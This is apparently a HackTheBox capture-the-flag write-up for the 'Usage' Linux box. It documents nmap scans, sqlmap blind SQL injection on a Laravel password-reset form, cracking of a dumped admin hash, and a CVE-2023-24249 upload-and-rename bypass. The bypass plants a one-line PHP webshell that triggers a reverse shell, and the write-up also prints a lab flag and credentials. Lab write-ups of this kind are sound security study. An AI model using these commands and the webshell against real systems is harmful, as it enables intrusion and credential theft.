Usage — HTB Writeup¶
- IP: 10.129.33.7 (has redeployed multiple times during this engagement — see IP history below)
- OS: Linux (Ubuntu)
- Difficulty: Easy
1. Enumeration¶
Command:
nmap -p- --min-rate 3000 -Pn -oA nmap/usageNmapOpenPorts $IP
nmap -p$ports -sSCV --min-rate=2000 -Pn -oN nmap/usageNmapServicesVersions.txt $IP
Flags/Notes:
- -p- — all 65535 TCP ports, don't trust a top-1000 scan on a box that might hide something on a high port
- --min-rate 3000 — floor packets/sec to keep the full-range scan fast
- -Pn — skip host discovery (HTB targets often block ICMP)
- Second pass feeds the discovered ports into -sSCV (SYN scan + default scripts + version detection) for banners
Result:
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open http nginx 1.18.0 (Ubuntu), title "Daily Blogs"
Web recon:
- http://usage.htb/ — "Daily Blogs" front end with Register/Login, Laravel-flavored (cookies XSRF-TOKEN + laravel_session)
- http://admin.usage.htb/ — separate login panel, added to /etc/hosts
- searchsploit dead ends chased before the real lead: bootstrap, fontawesome, 'adminLTE' (only hit was an unrelated AdminLTE-PiHole 5.18 broken-access-control advisory, EDB-51705 — not applicable here), nginx — none of these panned out
2. Foothold¶
2.1 SQL injection on password reset¶
admin.usage.htb's presence plus a /forget-password form on usage.htb was the actual lead. The email parameter on POST /forget-password is injectable — blind boolean-based.
Command (after several failed attempts with stale CSRF tokens/static request files):
sqlmap -r passreset2.post --technique=B --level 5 --risk 3 -p email --batch -dbs
Flags/Notes:
- -r passreset2.post — replay a captured Burp request (Laravel CSRF token + session cookie baked in); sqlmap refreshes the token itself as needed instead of a hardcoded --csrf-token value, which is why the earlier attempts with a fixed token failed (one-time/session-tied tokens)
- --technique=B — force boolean-blind only (this app returns no useful error/UNION surface — Generic UNION query tests upstream all failed)
- --level 5 --risk 3 — needed to reach payloads that actually land in the email field's query context
- -p email — target that parameter specifically instead of testing every field
- --batch — accept sqlmap defaults non-interactively
Result: confirmed MySQL 8 backend, 3 databases, target usage_blog.
sqlmap -r passreset2.post --technique=B --level 5 --risk 3 -p email --batch -D usage_blog --tables
sqlmap -r passreset2.post --technique=B --level 5 --risk 3 -p email --batch -D usage_blog -T admin_users --dump
Dumped usage_blog.admin_users (1 row):
| id | username | name | password | created_at |
|----|----------|------|----------|------------|
| 1 | admin | Administrator | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | 2023-08-13 |
2.2 Cracking the admin hash¶
hashcat -m 3200 adminHash.txt /usr/share/wordlists/rockyou.txt
Flags/Notes: -m 3200 = bcrypt ($2y$/$2a$/$2b$). Cracked in ~24s at only 68 H/s, position 1600/14,344,385 in rockyou — that's within the first ~1600 candidates, consistent with the password being password.
Login: admin : password on http://admin.usage.htb/ — this is a Laravel-admin (z-song/laravel-admin) panel.
2.3 CVE-2023-24249 — Laravel-admin arbitrary file upload → RCE¶
Laravel-admin's file manager doesn't apply the upload extension whitelist to its rename operation — upload a .jpg, then rename it to .php through the panel, and it lands as a live PHP file under public/uploads/.
- A public PoC was tried first (
git clone https://github.com/IDUZZEL/CVE-2023-24249-Exploit,python3 exploit.py -u http://admin.usage.htb/ -U admin -P password -i <tun0 IP> -p 42069) — did not return a shell (ran twice, no callback). Abandoned and removed. - Pivoted to doing it manually: uploaded a minimal webshell disguised as an image —
saved as
<?php system($_REQUEST['cmd']); ?>yourMomsPHPReverseShell.php.jpg, uploaded via the file manager, then renamed.jpg→.phpinside the panel (the CVE's actual bypass step) to get it served as PHP. - Landed at
/var/www/html/project_admin/public/uploads/images/— confirms the app root. - Used the webshell's
cmdparameter to trigger a reverse shell back tonc -lnvp 443.
Result: shell as dash (not www-data — the app runs as its own service user).
whoami → dash
cat user.txt → b01245a0c3841430edb75a3fe6fe57d9 ← USER FLAG
2.4 dash → xander¶
/home contains two users: dash, xander. dash's home has .monitrc (Monit, local-only web UI on port 2812 — not yet explored further, potential lead if other paths dry up).
Credential xander : 3nc0d3d_pa$$w0rd was already in hand (exact discovery step wasn't captured in the terminal logs — likely pulled via the browser-based webshell session rather than this tmux pane, so it predates the logged su command). Worth re-deriving how this was found and documenting it properly, since right now it's a credential with no recorded source.
su xander # password: 3nc0d3d_pa$$w0rd
Result: shell as xander.
3. Privilege Escalation — IN PROGRESS¶
sudo -l
User xander may run the following commands on usage:
(ALL : ALL) NOPASSWD: /usr/bin/usage_management
file /usr/bin/usage_management
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped
Current status: stopped here. Binary identified as a custom, not-stripped PIE executable runnable as root with no password. Next step is to actually reverse it (cat/hexdump attempts so far didn't get anywhere useful — need file was run but no disassembly yet). This is the pending root vector.
Not yet tried:
- Pull the binary to attacker box and open in Ghidra/objdump — not stripped means symbol names are intact, should read fast
- Just run it as xander first (unauth'd) to see what it does/prompts for — no evidence yet this was tried
- Check for strings output — config paths, hardcoded commands, format specifiers
Open Threads / Unresolved¶
pepper.key— an RSA private key for a userpepperwas captured in this project directory before any command incmd.logwas run (timestamp 06:08, four minutes before the first logged IP-setup command), referencing an old/reset IP (10.129.229.137). This doesn't fit into the dash→xander chain documented above and its origin (how it was read/exfiltrated) isn't captured in either log. Possibly an earlier abandoned lead (e.g., an arbitrary-file-read primitive from Laravel-admin against a prior instance of the box). Needs to be re-verified against the current instance — don't assume it's still valid credential material until re-tested.- Box has redeployed at least 4 times during this engagement (10.129.22.189 → 10.129.33.7 → 10.129.35.119/139 → 10.129.37.180) — always confirm
$IPand/etc/hostsmatch the current instance before trusting old findings like the pepper key or specific IPs in captured requests.
IP History (for reference — box resets)¶
| IP | Context |
|---|---|
| 10.129.22.189 | initial, superseded immediately |
| 10.129.33.7 | initial nmap scans |
| 10.129.35.119 | SQLi/hashcat phase (admin ssh attempt failed — admin isn't an SSH user) |
| 10.129.35.139 | CVE exploitation, dash/xander foothold, user flag |
| 10.129.37.180 | current (2026-07-22) |